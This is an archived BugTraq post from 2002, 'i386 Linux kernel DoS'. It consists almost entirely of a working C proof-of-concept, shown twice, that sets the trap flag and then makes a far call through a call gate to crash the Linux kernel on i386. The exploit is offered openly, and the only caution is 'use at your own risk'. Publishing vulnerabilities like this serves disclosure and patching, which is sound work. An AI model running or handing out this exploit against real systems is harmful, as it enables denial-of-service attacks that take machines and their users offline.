BugTraq
Back to list
|
Post reply
i386 Linux kernel DoS
Nov 11 2002 08:25PM
Christophe Devine (devine iie cnam fr)
/* USE AT YOUR OWN RISK ! */
int main( void )
{
char dos[] = "\x9C" /* pushfd */
"\x58" /* pop eax */
"\x0D\x00\x01\x00\x00" /* or eax,100h */
"\x50" /* push eax */
"\x9D" /* popfd */
"\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */
void (* f)( void );
f = (void *) dos; (* f)();
return 1;
}
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
/* USE AT YOUR OWN RISK ! */
int main( void )
{
char dos[] = "\x9C" /* pushfd */
"\x58" /* pop eax */
"\x0D\x00\x01\x00\x00" /* or eax,100h */
"\x50" /* push eax */
"\x9D" /* popfd */
"\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */
void (* f)( void );
f = (void *) dos; (* f)();
return 1;
}
[ reply ]